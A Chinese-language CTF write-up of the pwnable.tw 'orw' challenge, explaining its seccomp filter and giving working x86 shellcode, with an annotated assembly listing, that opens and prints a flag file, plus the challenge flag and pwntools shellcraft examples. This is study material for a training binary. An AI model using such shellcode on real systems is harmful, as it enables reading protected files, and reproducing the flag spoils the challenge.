pwnable-tw2

贼心不死,过来继续刷第二题

orw(100 pts)

题目不知道在说什么意思,要求我们从“/home/orw/flag”地址读取flag,而且还限制了只能时候用read,write,open函数,那么就先下载下看看。
首先发现这个函数居然要我们输入shellcode,并且主动的执行shellcode。。。。看起来不是很好做了
首先在这里会看到一个奇怪的函数

这个orw_ seccomp内部做了如下的事情

  • 第一行进行了栈溢出保护
  • prctl是一个设置进程的函数,第一个设置了PR_SET_NO_NEW_PRIVS,如果不经过execve的话,不允许设置useriID等,相当于不能直接提权
  • 第二个proctl限制了可以使用的system calls
    这个prctl好像很复杂,这里有 https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt
    prctl采用一个附加的参数,它使用BPF程序(就是一个程序,用于过滤可用的系统调用)指定一个新的过滤器。
    BPF程序的执行将利用到结构体seccomp_data,反映系统调用号,参数和其他元数据。然后,BPF程序必须返回一个可接受的值,以通知内核应该采取哪个动作。
    用法:

    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,prog);
    

    ‘prog’参数是一个指向结构体sock_fprog的指针,它将包含过滤程序。如果程序无效,调用将返回-1并将errno设置为EINVAL。
    如果prog允许fork / clone和execve,任何子进程将被限制为与父进程相同的过滤器和系统调用ABI。
    在使用之前,任务必须调用prctl(PR_SET_NO_NEW_PRIVS,1)或在其命名空间中以CAP_SYS_ADMIN权限运行。如果未做到的话,将返回EACCES。此要求确保过滤器程序不能应用于具有比安放它们的任务更高权限的子进程。
    此外,如果所连接的滤波器允许prctl(2),则可以在其上层叠附加的滤波器,这将增加评估时间,但是允许在处理的执行期间进一步减少攻击。
    根据提示,那么这个函数就完成了题目的限制,所以问题就转换成了只用write和open来输出我们需要的字符串
    然而这个shellcode的长度也是有限制的,200个字节内必须解决问
    |%eax |Name |Source |%ebx |%ecx |%edx |
    |——-|——–|—————|————–|——-|——-|
    |5 |sys_open|fs/open.c |const char |int |int |
    |——-|——–|—————|————–|——-|——-|
    |3 |sys_read|fs/read_write.c|unsigned int |char
    |size_t |
    |——-|——–|—————|————–|——-|——-|
    |11 |sys_execve|arch/i386/kernel/process.c|struct pt_regs|
    其中sys_execve的参数为:

    long ebx; //可执行文件路径的指针(regs.ebx中)
    long ecx; //命令行参数的指针(regs.ecx中)
    long edx; //环境变量的指针(regs.edx中)

其实下午一直再找 O_RDONLY 的具体值。。。后来自己试出来了是0.。。
sys_read(ebx = fb,ecx = str, edx = size_t)
正准备看的时候。。找到了shell code。。。

1
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\ x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff//home//orw//flag"

shellcode的含义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two
one:
pop %ebx ;%ebx拿到.string的地址
movb $5, %al ;设置为5(open)
xor %ecx, %ecx ;此时为O_RDONLY
int $0x80 ;中断
mov %eax, %esi ;将此时的fd交给esi
jmp read
exit:
movb $1, %al
xor %ebx, %ebx
int $0x80
read:;每次只读入一个字符串
mov %esi, %ebx ;此时ebx存放fd
movb $3, %al;中断号为3
sub $1, %esp
lea (%esp), %ecx;此时把字符串读入esp
movb $1, %dl;读入大小为1
int $0x80
xor %ebx, %ebx;此后将其清零
cmp %eax, %ebx;假如此时的eax(也就是读入的数据是否为空,如果读入了空的数据就返回0)
je exit
;以下为write的的调用
movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80
add $1, %esp;完成读取之后还要退栈
jmp read
two:
call one
.string "file_name"

最后成功拿到flag~

1
FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

后来发现,这个pwntools有模块可以生成这个shellcode!!!现在记录一下使用
shellcraft模块可以生成指定函数用途的汇编代码,比如说:

1
2
3
4
5
6
7
8
9
>>> print shellcraft.pushstr('/homo/link')
/* push '/homo/link\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016a6f
push 0x696c2f6f
push 0x6d6f682f
>>> print shellcraft.mov('eax',30000)
xor eax, eax
mov ax, 0x7530

根据例子应该还有更多的用法,但是我这边总是会炸掉。。说是overflowerror,暂时也没有查明。。。就先这样吧。